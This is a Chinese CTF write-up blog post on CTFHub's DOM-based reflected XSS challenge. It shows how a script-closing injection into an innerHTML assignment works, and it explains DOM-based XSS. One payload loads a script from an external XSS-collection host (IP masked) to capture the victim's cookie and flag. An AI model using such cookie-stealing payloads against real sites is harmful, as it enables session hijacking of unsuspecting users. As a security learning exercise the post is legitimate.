CTFHub | DOM反射

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

DOM反射:

        (无)

网页显示内容

        

        

0x02 解题过程

查看网页内容发现一个输入框和一个提交表单。第二个输入框用于模拟用户点击访问目标网页的一个过程。

        

尝试使用 scripts 标签写入一个警告弹窗,警告内容自定义。

<script>alert("flag")</script>

        

点击提交表单按钮,发现这里并未弹出警告弹窗。当然,不正常加载的原因有很多,可能是因为浏览器阻止、 HTML 的惰性加载、代码执行了过滤或转义处理等。

        

检查网页源代码,在 JS 部分,目标网页通过使用 $("#text")[0].innerHTML 获取为 text 元素的 ID ,并将内容设置为 CTFHub is very niubility 

<div>
    <h1>Hello, CTFHub
    </h1>
    <p id="text"></p>
    <script>
        $("#text")[0].innerHTML = 'CTFHub is very niubility';
    </script>
</div>

innerHTML属性:

 innerHTML 属性设置或返回元素的 HTML 内容(内部 HTML)。

        

通过 innerHTML 属性的特性,构造一个闭合语句,再次尝试弹出警告弹窗。需要注意的是,部分浏览器会阻止此操作,不会正常弹出警告弹窗。设置一下浏览器权限即可。

'</script><script>alert("flag")</script>

        

尝试构造闭合语句,将编写好的注入代码写入到目标网页中,点击提交。注意,这里同样可以在后面加一个警告弹窗或其他语句,所有的语句都会被执行。

'></script><script src=http://XXX.XXX.XXX.XXX/Q7yYOv?1706736090></script>'><script>alert("注入成功!")</script>

        

通过第二个输入框模拟用户执行后,访问 XSS 平台查看,在 cookie 中发现此题 flag 。

        

        

0x03 DOM反射

         DOM 反射型 XSS 与其他类型 XSS 的区别在于攻击方式不同。在触发 DOM 反射型漏洞时,攻击者不需要与服务器进行交互。通常情况下,攻击者利用用户输入的数据,并通过网页中的 JavaScript 进行处理和渲染,从而实现攻击目的。

        

DOM 反射型与常见 XSS 注入演示图

        通过演示图我们可以看到,常见的 XSS 注入过程是攻击者先向目标网页注入恶意脚本,然后目标网页会向服务器提交这个非法请求,当服务器处理完成这个请求后会向网页返回恶意脚本,也就是注入成功 XSS 脚本。这时,用户访问目标网页就会执行攻击者注入的恶意脚本。

        而 DOM 反射型则不同,当攻击者向目标网页注入恶意脚本时,并不会提交给服务器。用户访问目标网页就会直接执行攻击者注入的恶意脚本。

        

        

0x04 参考文献

[1].w3school. HTML DOM Element innerHTML 属性[EB/OL]. [2024-02-01]. https://www.w3school.com.cn/jsref/prop_html_innerhtml.asp.

       

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼泊罗河伯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值